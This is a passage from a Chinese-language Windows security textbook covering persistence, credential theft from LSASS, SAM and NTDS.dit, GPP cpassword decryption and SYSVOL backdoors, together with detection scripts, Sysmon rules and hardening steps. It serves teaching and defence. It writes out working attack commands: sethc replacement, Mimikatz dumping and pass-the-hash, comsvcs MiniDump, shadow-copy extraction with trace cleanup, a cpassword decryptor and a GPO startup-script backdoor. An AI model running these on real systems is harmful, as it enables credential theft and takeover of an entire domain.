#   Win+U           → Utilman.exe
# 这些程序以 SYSTEM 运行,替换掉它们 = 登录界面就能拿 SYSTEM 的 cmd

# ===== 利用(需管理员权限,通常是已经提权后做的持久化)=====
# ① 备份原文件(好习惯,方便恢复)
copy C:\Windows\System32\sethc.exe C:\Windows\System32\sethc.exe.bak
# ② 替换(要绕过文件保护:先取得所有权)
takeown /f C:\Windows\System32\sethc.exe
icacls C:\Windows\System32\sethc.exe /grant Administrators:F
copy cmd.exe C:\Windows\System32\sethc.exe /Y

# ③ 退出到登录界面,连按 5 次 Shift → 出来的是 cmd,且是 SYSTEM
#    net user hacker P@ss /add
#    net localgroup administrators hacker /add

# ===== 检测 =====
# ① 校验系统文件(★ 最直接)
sfc /scannow

# ② 比对哈希(已知正常文件的哈希)
Get-FileHash C:\Windows\System32\sethc.exe
Get-FileHash C:\Windows\System32\utilman.exe
Get-FileHash C:\Windows\System32\magnify.exe
# 它们的大小应该都是几十 KB(cmd.exe 是 289KB,一眼看出异常)

# ③ 检查数字签名
Get-AuthenticodeSignature C:\Windows\System32\sethc.exe
# Status 应该是 Valid

持久化检测清单(一键脚本)

<#
.SYNOPSIS  Windows 持久化一键检测脚本
.USAGE     .\check_persistence.ps1 [-Output report.html>
#>

$report = @()

Write-Host "[*] 检查注册表 Run 类自启动..." -ForegroundColor Cyan
$runKeys = @(
    "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run",
    "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce",
    "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run",
    "HKCU:\Software\Microsoft\Windows\CurrentVersion\RunOnce",
    "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"
)
foreach ($k in $runKeys) {
    if (Test-Path $k) {
        Get-ItemProperty $k | Get-Member -MemberType NoteProperty |
            Where-Object { $_.Name -notmatch '^PS' } | ForEach-Object {
            $report += [PSCustomObject]@{ 类型='注册表Run'; 位置=$k; 名称=$_.Name;
                内容=(Get-ItemProperty $k).($_.Name) }
        }
    }
}

Write-Host "[*] 检查 Winlogon Userinit / Shell..." -ForegroundColor Cyan
$wl = Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
if ($wl.Userinit -notmatch '^C:\\Windows\\system32\\userinit\.exe,?$') {
    $report += [PSCustomObject]@{ 类型='Winlogon异常'; 位置='Userinit'; 名称='Userinit'; 内容=$wl.Userinit }
}
if ($wl.Shell -ne 'explorer.exe') {
    $report += [PSCustomObject]@{ 类型='Winlogon异常'; 位置='Shell'; 名称='Shell'; 内容=$wl.Shell }
}

Write-Host "[*] 检查启动文件夹..." -ForegroundColor Cyan
@("$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup",
  "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup") | ForEach-Object {
    if (Test-Path $_) {
        Get-ChildItem $_ -Force | ForEach-Object {
            $report += [PSCustomObject]@{ 类型='启动文件夹'; 位置=$_; 名称=$_.Name; 内容=$_.FullName }
        }
    }
}

Write-Host "[*] 检查计划任务..." -ForegroundColor Cyan
Get-ScheduledTask | Where-Object { $_.State -ne 'Disabled' } | ForEach-Object {
    $t = $_
    $t.Actions | ForEach-Object {
        $report += [PSCustomObject]@{ 类型='计划任务'; 位置="Tasks\$($t.TaskName)";
            名称=$t.TaskName; 内容="$($_.Execute) $($_.Arguments)" }
    }
}

Write-Host "[*] 检查服务(非系统路径)..." -ForegroundColor Cyan
Get-WmiObject Win32_Service | Where-Object {
    $_.PathName -and $_.PathName -notmatch 'C:\\Windows\\|C:\\WINDOWS\\'
} | ForEach-Object {
    $report += [PSCustomObject]@{ 类型='服务(非系统路径)'; 位置=$_.Name; 名称=$_.DisplayName; 内容=$_.PathName }
}

Write-Host "[*] 检查 WMI 持久化..." -ForegroundColor Cyan
Get-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -EA SilentlyContinue |
    ForEach-Object {
        $report += [PSCustomObject]@{ 类型='★WMI持久化'; 位置=$_.Name; 名称=$_.Name; 内容=$_.CommandLineTemplate }
    }
Get-CimInstance -Namespace root/subscription -ClassName ActiveScriptEventConsumer -EA SilentlyContinue |
    ForEach-Object {
        $report += [PSCustomObject]@{ 类型='★WMI持久化'; 位置=$_.Name; 名称=$_.Name; 内容=$_.ScriptText }
    }

Write-Host "[*] 检查 AppInit_DLLs / IFEO..." -ForegroundColor Cyan
$appInit = Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" -EA SilentlyContinue
if ($appInit.AppInit_DLLs) {
    $report += [PSCustomObject]@{ 类型='AppInit_DLLs'; 位置='Windows'; 名称='AppInit_DLLs'; 内容=$appInit.AppInit_DLLs }
}
Get-ChildItem "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" -EA SilentlyContinue |
  ForEach-Object {
    $dbg = (Get-ItemProperty $_.PSPath -Name Debugger -EA SilentlyContinue).Debugger
    if ($dbg) {
        $report += [PSCustomObject]@{ 类型='IFEO注入'; 位置=$_.PSChildName; 名称='Debugger'; 内容=$dbg }
    }
}

Write-Host "[*] 检查系统关键文件哈希(sethc / utilman / magnify)..." -ForegroundColor Cyan
@('sethc.exe','utilman.exe','magnify.exe','narrator.exe','osk.exe','displayswitch.exe','atbroker.exe') |
  ForEach-Object {
    $f = "C:\Windows\System32\$_"
    if (Test-Path $f) {
        $sig = Get-AuthenticodeSignature $f
        if ($sig.Status -ne 'Valid') {
            $report += [PSCustomObject]@{ 类型='★系统文件被替换'; 位置=$f; 名称=$_;
                内容="签名状态: $($sig.Status), 大小: $((Get-Item $f).Length)" }
        }
    }
}

Write-Host "`n========== 检测结果 ==========" -ForegroundColor Yellow
$report | Format-Table -AutoSize -Wrap

# 导出 CSV
$report | Export-Csv -NoTypeInformation -Encoding UTF8 "C:\Temp\persistence_report.csv"
Write-Host "`n[+] 报告已导出: C:\Temp\persistence_report.csv" -ForegroundColor Green

6.5.4 凭据窃取(主机侧):LSASS、SAM 与防护

① LSASS 是什么(先讲清楚)

一句话定义:LSASS(Local Security Authority Subsystem Service,本地安全认证子系统服务)是 Windows 的“认证中心”,进程名 lsass.exe。

它内存里存着什么(这就是为什么它是所有攻击者眼中的圣杯):

  ✓ 已登录用户的【明文密码】(WDigest 未关时)
  ✓ NTLM Hash(就算关了 WDigest 也有)
  ✓ Kerberos 票据(TGT / 服务票据)
  ✓ 域用户的凭据缓存
  ✓ DPAPI 主密钥

生活类比:

LSASS 就是公司的【前台兼人事兼保安】——
她手上有一份名单,记着每个员工的:
  - 工号和密码
  - 门禁卡的备份
  - 今天谁来了、谁有权限进哪

只要搞定她(读她的内存),你就拿到全公司所有人的卡。
而且她【一直开着】,从不"下班清空"。

为什么能读到明文密码:

WDigest 协议(老协议,为了兼容)会把明文密码缓存在内存里。
只要注册表 UseLogonCredential = 1 且系统重启过,
就能直接读出明文。

Win2008 之前:默认开启,直接读明文
Win2008 R2 之后:默认不缓存明文,但——
  ★ LSASS 内存里永远有 NTLM Hash
  ★ NTLM Hash 可以做"哈希传递"(PTH),效果等同于有密码
  ★ 所以"关掉 WDigest"只是提高了门槛,没有解决问题

② Mimikatz 原理与常用命令

# ===== Mimikatz 核心命令 =====

# ① 提权到 debug 权限(读其他进程内存需要 SeDebugPrivilege)
mimikatz # privilege::debug
# ★ 这一句需要管理员。如果是 SYSTEM,稳过。

# ② 从 LSASS 内存里 dump 所有凭据(★ 最经典的一句)
mimikatz # sekurlsa::logonpasswords

# 输出示例(看懂这段输出很重要):
#   Authentication Id : 0 ; 267993 (00000000:000416d9)
#   Session           : Interactive from 2
#   User Name         : Administrator
#   Domain            : CORP
#   Logon Server      : DC01
#   Logon Time        : 2026/9/2 9:15:03
#   SID               : S-1-5-21-xxx-xxx-xxx-500
#           msv :
#            [00000003] Primary
#            * Username : Administrator
#            * Domain   : CORP
#            * NTLM     : 2092c96a2b0f3b7b8a2f2c9d5e1a0b3c   ← ★ NTLM Hash
#            * SHA1     : 8f4e2b1c...
#           tspkg :
#            * Username : Administrator
#            * Domain   : CORP
#            * Password : P@ssw0rd123!                        ← ★ 明文密码(WDigest 开着时)
#           kerberos :
#            * Username : Administrator
#            * Domain   : CORP.LOCAL
#            * Password : (null)                              ← Kerberos 通常不存明文
#
# ★ 关键收获:
#   - NTLM Hash → 可以做哈希传递(PTH),横向到别的机器
#   - 明文密码 → 直接登录任何用这个密码的地方(很多人的密码是复用的!)
#   - Kerberos TGT → 票据传递(PTT),详见第七章

# ③ 只 dump Kerberos 票据
mimikatz # sekurlsa::tickets /export
# 得到 .kirbi 文件,可以注入到其他会话(PTT)

# ④ 直接拿进程令牌
mimikatz # token::elevate

# ⑤ 导出 SAM 里的本地账号 Hash
mimikatz # lsadump::sam

# ⑥ 导出域控上的所有域账号 Hash(★ 需要在域控上)
mimikatz # lsadump::dcsync /domain:corp.local /all /csv
# 这就是 DCSync 攻击,详见第七章

# ⑦ 哈希传递(PTH)演示
mimikatz # sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:2092c96a... /run:cmd.exe
# 弹出一个 cmd,这个 cmd 在网络认证时用的是 Administrator 的身份
# 而你【根本不知道 Administrator 的密码】

③ SAM 与 SYSTEM(离线提取本地账号 Hash)

# ===== 方法一:注册表导出(经典)=====
# SAM 存着本地账号的 NTLM Hash,但用 SYSTEM 里的密钥加密了
reg save HKLM\SAM C:\Temp\sam.save
reg save HKLM\SYSTEM C:\Temp\system.save
# 下载到本地后用 mimikatz / impacket 离线解密

# 离线解密(Kali 上)
# python3 secretsdump.py -sam sam.save -system system.save LOCAL
# 输出:Administrator:500:aad3b435b51404eeaad3b435b51404ee:2092c96a...:::

# ===== 方法二:直接从磁盘镜像提取(系统盘被你拿到时)=====
# SAM 文件位置:C:\Windows\System32\config\SAM
# SYSTEM 文件位置:C:\Windows\System32\config\SYSTEM
copy C:\Windows\System32\config\SAM   C:\Temp\SAM
copy C:\Windows\System32\config\SYSTEM C:\Temp\SYSTEM
# ★ 注意:系统运行时这两个文件被锁,直接 copy 会失败
#   所以要:① 用上面的 reg save(推荐)
#          ② 或用 vssadmin 创建卷影副本再拷
#          ③ 或从 PE / 离线挂载的磁盘里拷

# vssadmin 方式(绕过文件锁)
vssadmin create shadow /for=C:
# 记下 Shadow Copy Volume 名,比如 \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM" C:\Temp\SAM
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM" C:\Temp\SYSTEM
vssadmin delete shadows /for=C: /quiet     # 清理痕迹

# ===== 方法三:直接从 LSASS 内存(需要管理员)=====
# 用任务管理器"创建转储文件"(右键 lsass.exe)
# 或用 comsvcs.dll 的 MiniDump(不依赖任何工具,OS 自带!)
# ★ 这个技巧很重要:不需要上传 mimikatz
$proc = Get-Process lsass
rundll32.exe C:\windows\system32\comsvcs.dll, MiniDump $proc.Id C:\Temp\lsass.dmp full
# 然后把 lsass.dmp 下载到本地慢慢分析
# mimikatz # sekurlsa::minidump lsass.dmp
# mimikatz # sekurlsa::logonpasswords

④ NTDS.dit(域控上的“全体账号密码库”)

NTDS.dit = 域控上的目录数据库文件,存着【域里所有用户】的 Hash。
默认位置:C:\Windows\NTDS\NTDS.dit
它是被 SYSTEM(其实是注册表 SYSTEM hive 里的密钥)加密的。

提取方式:
  ① ntdsutil(域控自带的"正规"方式)
  ② vssadmin 卷影副本 + copy
  ③ DCSync(不需要碰文件,用域复制协议远程"合法"地要数据)← 第七章详讲

为什么它重要:
  拿到 NTDS.dit = 拿到【整个域】所有账号的 NTLM Hash
  = 可以冒充任何人 = 黄金票据、白银票据、哈希传递全都成立
  = 域彻底失守
# ntdsutil 方式(域控上执行)
ntdsutil
  activate instance ntds
  ifm
    create full C:\Temp\ntds
  quit
quit
# 得到 C:\Temp\ntds\Active Directory\ntds.dit 和 SYSTEM、SECURITY

# 离线解析(Kali)
# python3 secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
# 输出全域所有账号的 NTLM Hash

⑤ 防护(★ 这是企业真正该做的)

措施 做什么 挡住什么 代价
关 WDigest HKLM\SYSTEM\CCS\Control\SecurityProviders\WDigest\UseLogonCredential = 0 读不到明文密码(但 NTLM Hash 还在) 极低,必做
LSA Protection(RunAsPPL) 把 LSASS 跑成受保护进程(PPL),普通管理员也读不了 挡住绝大部分 mimikatz 直接读内存 低(需重启;部分老软件可能不兼容)
Credential Guard 用虚拟化安全(VBS)把凭据隔离到独立虚拟环境,LSASS 里根本没有完整凭据 挡住内存读取、挡住 PTH(部分) 中(需 UEFI + 虚拟化支持 + Win10 Ent/Win11)
限制 SeDebugPrivilege 别给普通用户/服务账号这个特权 拿不到 debug 权限就读不了 LSASS 中(很多运维工具依赖它)
防转储(CrashDump 控制) DisableRestrictedAdmin、限制创建进程转储 挡住 comsvcs.dll MiniDump 低
LAPS 每台机器本地管理员密码随机化 ★ 挡住横向移动的关键(每台机器密码不同,dump 一台没用) 低,强烈推荐
域管不登普通机器 限制“允许本地登录”的组 ★ 域管令牌根本不会出现在普通机器上 中(要改运维习惯)
EDR 监控 Sysmon Event 10 目标是 lsass.exe 检测并告警 低
Server 2012 R2+/Win10+ 老系统 LSASS 保护能力弱 — —

开启这些保护的命令:

# ① 关闭 WDigest(明文密码缓存)
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

# ② 开启 LSA Protection(LSASS 跑成 PPL)
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPM /t REG_DWORD /d 1 /f
# 更标准的做法:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f
# ★ 开启后,普通 mimikatz 会报 "ERROR kuhl_m_sekurlsa_acquireLSA"
#   需要先加载 mimidrv 驱动(会被 EDR 抓)

# ③ 开启 Credential Guard(组策略方式,推荐)
#    计算机配置 → 管理模板 → 系统 → Device Guard
#    → "打开基于虚拟化的安全" = 已启用
#    → "Credential Guard 配置" = 已启用 + "要求 UEFI 锁定"
# 或用注册表
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v EnableVirtualizationBasedSecurity /t REG_DWORD /d 1 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v LsaCfgFlags /t REG_DWORD /d 1 /f
# LsaCfgFlags: 0=关, 1=开(UEFI锁定), 2=开(不锁定)

# ④ 验证
# msinfo32 → 系统摘要 → "基于虚拟化的安全性" 应该是"正在运行"
# 或 PowerShell
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard |
    Select-Object SecurityServicesRunning, SecurityServicesConfigured
# SecurityServicesRunning 含 1 = Credential Guard 在运行

# ⑤ 禁用 WDigest 的另一种方式(强制刷新,不用重启)
#    其实改完注册表要重启或重新登录才生效

⑥ 检测:谁在碰 LSASS

# ===== Sysmon 配置片段(监控 LSASS 访问)=====
<Sysmon schemaversion="4.90">
  <EventFiltering>
    <!-- Event ID 10: ProcessAccess -->
    <ProcessAccess onmatch="include">
      <!-- 目标是 lsass.exe -->
      <TargetImage condition="contains">lsass.exe</TargetImage>
    </ProcessAccess>

    <!-- 但要排除合法程序 -->
    <ProcessAccess onmatch="exclude">
      <SourceImage condition="is">C:\Windows\System32\wininit.exe</SourceImage>
      <SourceImage condition="is">C:\Windows\System32\lsass.exe</SourceImage>
      <SourceImage condition="is">C:\Windows\System32\services.exe</SourceImage>
      <SourceImage condition="is">C:\Windows\System32\svchost.exe</SourceImage>
      <SourceImage condition="is">C:\Windows\System32\csrss.exe</SourceImage>
      <!-- 你的 EDR / 杀软路径 -->
      <SourceImage condition="contains">C:\Program Files\YourEDR\</SourceImage>
    </ProcessAccess>
  </EventFiltering>
</Sysmon>
# 查询:过去 24 小时内谁访问过 lsass
Get-WinEvent -FilterHashtable @{
    LogName   = 'Microsoft-Windows-Sysmon/Operational'
    Id        = 10
    StartTime = (Get-Date).AddHours(-24)
} | ForEach-Object {
    $xml = [xml]$_.ToXml()
    [PSCustomObject]@{
        Time        = $_.TimeCreated
        SourceImage = $xml.Event.EventData.Data | Where-Object { $_.Name -eq 'SourceImage' } | Select-Object -Expand '#text'
        SourceUser  = $xml.Event.EventData.Data | Where-Object { $_.Name -eq 'SourceUser'  } | Select-Object -Expand '#text'
        TargetImage = $xml.Event.EventData.Data | Where-Object { $_.Name -eq 'TargetImage' } | Select-Object -Expand '#text'
        GrantedAccess = $xml.Event.EventData.Data | Where-Object { $_.Name -eq 'GrantedAccess' } | Select-Object -Expand '#text'
    }
} | Where-Object { $_.TargetImage -like '*lsass.exe' } | Format-Table -AutoSize

# ★ GrantedAccess 字段的判读(关键):
#   0x1010  = 只读查询(正常)
#   0x1438  = 可疑(PROCESS_VM_READ + QUERY_INFORMATION)
#   0x143a, 0x1410, 0x1fffff = 高度可疑(mimikatz 特征)
#   0x1fffff = PROCESS_ALL_ACCESS(几乎一定是恶意的)

6.5.5 SYSVOL 与组策略后门(域环境下的“一次配置全域沦陷”)

① SYSVOL 是什么

一句话定义:域控上的一个共享文件夹(\\域名\SYSVOL),存着组策略(GPO)的脚本和配置文件,所有域用户都有读权限。

它的作用:
  管理员在域控上配了一条组策略(比如"所有电脑开机时运行这个脚本")
  → 策略文件(.xml / .ps1 / .bat)存在 SYSVOL 里
  → 域内每台电脑开机时会自动去 SYSVOL 拉取并执行
  → 以 SYSTEM 权限执行

★ 攻击价值:
  能写 SYSVOL = 能让全域所有机器执行你的代码 = 一次性控全域

★ 为什么危险:
  1. 所有域用户默认可读 → 管理员可能把密码写进去(历史包袱)
  2. 组策略脚本以 SYSTEM 执行 → 提权 + 持久化一步到位
  3. 修改 GPO 是"正常运维操作",日志噪音大,难分辨

② ★ GPP cpassword(MS14-025)— 域渗透最经典的“送分题”

原理(讲透):

Windows Server 2008 时代,组策略有个功能叫"组策略首选项(GPP)",
允许管理员在组策略里配置"本地账号",比如:
  "把所有机器的本地 Administrator 密码统一改成 P@ssw0rd123"

问题来了:这个密码要存在一个 XML 文件里下发,所以——
  微软【用 AES 加密了这个密码】,字段名叫 cpassword。

看起来很安全对吧?但是:

  2014 年,有人发现微软【把 AES 的密钥直接写进了 MSDN 文档】。
  也就是说,这个"加密"对全世界都是透明的。

  于是任何域用户都能:
    读 SYSVOL 里的 Groups.xml / Services.xml / Scheduledtasks.xml
    → 找到 cpassword 字段
    → 用公开密钥解密
    → 得到本地管理员的明文密码

微软在 MS14-025 里"修"了这个问题——
但只是【禁止再新建】带 cpassword 的策略,
【历史遗留的 XML 文件并不会被自动删除】。
所以到 2026 年,这个洞依然在很多域里躺着。

实战(两分钟拿到密码):

# ===== ① 在 SYSVOL 里搜 cpassword =====

# 方法一:命令行搜索(域用户权限即可!)
dir /s /b \\corp.local\SYSVOL\corp.local\*.xml | findstr /i "Groups.xml Services.xml Scheduledtasks.xml Printers.xml Drives.xml DataSources.xml"

# 方法二:PowerShell 递归搜索并直接显示
$sysvol = "\\corp.local\SYSVOL\corp.local\Policies"
Get-ChildItem -Path $sysvol -Recurse -Include *.xml -ErrorAction SilentlyContinue |
    Select-String -Pattern "cpassword" |
    ForEach-Object {
        Write-Host "`n[+] 发现 cpassword: $($_.Path)" -ForegroundColor Yellow
        $_.Line
    }

# 输出示例:
#   <Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
#     <User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}"
#           name="Administrator (built-in)"
#           image="2" changed="2020-01-15 10:23:11" uid="{...}">
#       <Properties action="U" newName="" fullName="" description=""
#                   cpassword="j1Uyj3Vx8TY9LtLilmAIdZAv0T0lAqZ4Yt3cYnZ0bXk5"   ← ★ 就是这个
#                   changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0"
#                   userName="Administrator (built-in)" />
#     </User>
#   </Groups>

# ===== ② 解密 =====
# 方法一:用 gpp-decrypt(Kali 自带)
# gpp-decrypt "j1Uyj3Vx8TY9LtLilmAIdZAv0T0lAqZ4Yt3cYnZ0bXk5"
# → 输出:P@ssw0rd123

# 方法二:PowerShell 解密(不需要额外工具)
function Decrypt-GPPPassword {
    param([string]$Cpassword)

    # ★ 微软公开的 AES 密钥(这就是问题所在)
    $key = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,
             0x62,0x0f,0xfe,0xe8,0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,
             0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)

    # Base64 解码
    $bytes = [System.Convert]::FromBase64String($Cpassword)

    # 前 4 字节是长度头,跳过;实际密文长度必须是 16 的倍数
    $len = [System.BitConverter]::ToInt32($bytes[0..3], 0)
    $ciphertext = $bytes[4..($bytes.Length-1)]

    # AES-256-CBC,IV 全 0
    $aes = [System.Security.Cryptography.AesCryptoServiceProvider]::new()
    $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
    $aes.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
    $aes.Key = $key
    $aes.IV  = New-Object byte[] 16

    $dec = $aes.CreateDecryptor()
    $plain = $dec.TransformFinalBlock($ciphertext, 0, $ciphertext.Length)

    # 结果是 UTF-16LE
    return [System.Text.Encoding]::Unicode.GetString($plain).TrimEnd([char]0)
}

Decrypt-GPPPassword "j1Uyj3Vx8TY9LtLilmAIdZAv0T0lAqZ4Yt3cYnZ0bXk5"
# → P@ssw0rd123

# ===== ③ 用这个密码横向 =====
# 注意:cpassword 里配的往往是【所有机器的本地 Administrator 密码】
# (管理员图省事,全网统一密码)
# 所以:一台机器的本地管理员密码 = 所有机器的
#   psexec \\PC001 -u Administrator -p P@ssw0rd123 cmd.exe
#   wmic /node:PC002 /user:Administrator /password:P@ssw0rd123 process call create "cmd..."
# 这就是为什么 LAPS 如此重要(每台机器随机密码)

这就是“为什么 LAPS 是域安全的性价比之王”: 它把“一台沦陷 = 全网沦陷”变回“一台沦陷 = 一台沦陷”。 成本极低(装个 AD 架构扩展 + 客户端),收益极大。

③ SYSVOL 后门(攻击者的持久化)

# 攻击者视角:如果能写 SYSVOL(需要域管或有 GPO 编辑权限)

# ① 找到一条应用到"所有机器"的 GPO
Get-GPO -All | Select-Object DisplayName, Id, GpoStatus

# ② 在 GPO 的启动脚本目录里放后门
#    路径规律:\\corp.local\SYSVOL\corp.local\Policies\{GPO-ID}\Machine\Scripts\Startup\
copy evil.ps1 "\\corp.local\SYSVOL\corp.local\Policies\{31B2F340-...}\Machine\Scripts\Startup\"

# ③ 修改 scripts.ini(注意:这个文件在 GPO 的 GPT.INI 旁边)
#    \\corp.local\SYSVOL\corp.local\Policies\{GPO-ID}\Machine\Scripts\scripts.ini
#    内容:
#    [Startup]
#    0CmdLine=evil.ps1
#    0Parameters=

# ④ 或者更省事:直接改 GPO 里的"立即任务"(ScheduledTasks.xml)
#    这样不用等重启

# ⑤ 等组策略刷新(默认 90 分钟,或 gpupdate /force)
#    全域所有机器开机时就会以 SYSTEM 执行你的脚本

检测:

# ① 监控 SYSVOL 目录的文件变更(在域控上开审计)
#    域控上:对 C:\Windows\SYSVOL\domain\Policies 开 SACL,审计 Everyone 的写入
auditpol /set /subcategory:"文件系统" /success:enable /failure:enable
# 然后在目录上加审计 ACE
$acl = Get-Acl "C:\Windows\SYSVOL\domain\Policies"
$rule = New-Object System.Security.AccessControl.FileSystemAuditRule(
    "Everyone", "Write,Delete,ChangePermissions", "ContainerInherit,ObjectInherit",
    "None", "Success,Failure")
$acl.AddAuditRule($rule)
Set-Acl "C:\Windows\SYSVOL\domain\Policies" $acl
# 之后任何写入都会产生 Event ID 4663

# ② 定期扫描 SYSVOL 里有没有 cpassword(自查!)
$sysvol = "\\corp.local\SYSVOL"
Get-ChildItem -Path $sysvol -Recurse -Include *.xml -EA SilentlyContinue |
    Select-String -Pattern "cpassword" |
    Select-Object Path, LineNumber, Line

# ③ 定期扫描 SYSVOL 里的脚本,和"已批准清单"比对
#    用 AIDE / Tripwire 监控 SYSVOL 目录完整性

④ 组策略(GPO)加固建议

措施 具体做法
清理 cpassword 全局扫一遍,删掉所有含 cpassword 的 GPP 项,改用 LAPS
SYSVOL 写权限最小化 只有 Domain Admins / Group Policy Creator Owners 能写 GPO
GPO 变更审计 开启“目录服务更改”审计(Event 5136 = 目录对象被修改)
限制“委派 GPO 权限” 别给普通运维账号 GPO 编辑权
定期备份 + 对比 GPO Backup-GPO -All 每周一次,diff 出异常变更
立即任务要小心 GPO 的“立即任务(Immediate Task)“能立刻在所有机器执行,权限要收紧

6.5.6 Windows 主机加固与检测基线

① 账户与认证加固

# ===== ① 密码策略 =====
# 组策略:计算机配置 → Windows 设置 → 安全设置 → 账户策略 → 密码策略
net accounts
# 推荐配置:
#   密码必须符合复杂性要求 = 启用
#   密码长度最小值         = 14(等保 2.0 要求 8+,建议 12+)
#   密码最短使用期限       = 1 天
#   密码最长使用期限       = 90 天(或按现代建议:不强制过期 + 用 MFA)
#   强制密码历史           = 24 个

# ===== ② 账户锁定策略(防爆破)=====
# 组策略 → 账户锁定策略
#   账户锁定阈值       = 5 次无效登录
#   账户锁定时间       = 30 分钟
#   重置账户锁定计数器 = 30 分钟

# ===== ③ 禁用无用账号 =====
net user guest /active:no
# 检查有没有隐藏的账号(名字带 $ 的是隐藏账号,net user 看不到!)
reg query "HKLM\SAM\SAM\Domains\Account\Users" /s | findstr /i "Names"
# 或用 PowerShell
Get-WmiObject Win32_UserAccount -Filter "LocalAccount=True" | Select Name, SID, Disabled, Lockout
# ★ 对比注册表的 Names 和 net user 输出,多出来的就是隐藏账号

# ===== ④ LAPS(★ 强烈推荐)=====
# 本地管理员密码解决方案:每台机器的本地 Administrator 密码随机生成、
# 定期轮换、存在 AD 的计算机对象属性里(ms-Mcs-AdmPwd)
# 只有被授权的组能读

# 部署要点:
#   ① 扩展 AD 架构:Update-AdmPwdADSchema
#   ② 给计算机 OU 授权:Set-AdmPwdComputerSelfPermission -Identity "OU=Computers,DC=corp,DC=local"
#   ③ 给管理组授权读取:Set-AdmPwdReadPasswordPermission -Identity "OU=Computers,..." -AllowedPrincipals "LAPS-Admins"
#   ④ 客户端装 LAPS 的 MSI(或用 Windows LAPS,Win10 22H2+/Win11 内置!)

# Windows LAPS(新版,内置,推荐)
# 组策略:计算机配置 → 管理模板 → 系统 → LAPS
#   启用密码备份 = 已启用
#   密码长度     = 16
#   密码轮换天数 = 30
#   备份目录     = Active Directory(或 Entra ID)

# 查询某台机器的 LAPS 密码
Get-LapsADPassword -Identity PC001 -AsPlainText

# ===== ⑤ 限制登录权限 =====
# 组策略 → 用户权限分配
#   拒绝从网络访问这台计算机:加 Guests、匿名
#   允许通过远程桌面登录     :只给专门的 RDP-Users 组(★ 不要给 Domain Admins)
#   允许本地登录             :最小化

② 服务与进程加固

# ① 关闭不需要的服务(减少攻击面)
#    常见可关(按业务评估):
#      - Remote Registry(远程注册表,横向移动常用)
#      - Server(SMB 共享,如果不是文件服务器)
#      - Print Spooler(★ 2021 年 PrintNightmare 的元凶,不需要打印就关)
#      - SSDP Discovery / UPnP Device Host
#      - Telnet
Stop-Service Spooler -Force
Set-Service Spooler -StartupType Disabled

# ② Print Spooler 特别说明(★ 域控上必须关!)
#    PrintNightmare (CVE-2021-34527) 能在域控上以 SYSTEM 执行代码
#    域控绝对不要开打印服务
Set-Service Spooler -StartupType Disabled -ComputerName DC01
Stop-Service Spooler -Force -ComputerName DC01

# ③ 服务账户最小化
#    不要用 LocalSystem / Domain Admin 跑业务服务
#    用:虚拟账户(NT SERVICE\xxx)、gMSA(组托管服务账户)、或专门的域服务账号
#    gMSA 示例:密码由 AD 自动管理,人不知道密码,没法偷也没法用
New-ADServiceAccount -Name "svc-web" -DNSHostName "svc-web.corp.local" -PrincipalsAllowedToRetrieveManagedPassword "WebServers$"

# ④ 禁用 SMBv1(WannaCry 的传播靠它)
Set-SmbServerConfiguration -EnableSMB1Protocol $false -Force
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol

# ⑤ 启用 SMB 签名(防中继攻击)
Set-SmbServerConfiguration -RequireSecuritySignature $true -Force
Set-SmbClientConfiguration -RequireSecuritySignature $true -Force

# ⑥ 禁用 NTLMv1(弱协议,可降级攻击)
#    组策略 → 网络安全: LAN Manager 身份验证级别 = 仅发送 NTLMv2 响应\拒绝 LM 和 NTLM
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v LmCompatibilityLevel /t REG_DWORD /d 5 /f

③ 应用控制(AppLocker / WDAC)

一句话定义:白名单机制——只允许我批准的程序运行,其他一律拒绝。

生活类比:

黑名单(杀毒软件):我认识坏人 → 坏人来了我拦
                → 问题:新坏人我不认识,拦不住
白名单(AppLocker):我只让名单上的人进来 → 不在名单上一律不许进
                → 优点:0day 木马也跑不起来
                → 代价:运维麻烦,装个新软件都要加白

AppLocker 配置:

# AppLocker 是企业版/教育版才有,默认规则:
#   ① 允许 C:\Windows\* 和 C:\Program Files\* 下所有【有签名或任意】的程序
#   ② 允许 Administrators 组运行一切

# 创建规则(三种条件:发布者/路径/文件哈希)
# ① 路径规则:禁止用户从临时目录和下载目录运行程序(★ 最实用的一条)
New-AppLockerPolicy -RuleType Path -User Everyone -Path "C:\Users\*\Downloads\*" -Action Deny
New-AppLockerPolicy -RuleType Path -User Everyone -Path "C:\Users\*\AppData\Local\Temp\*" -Action Deny
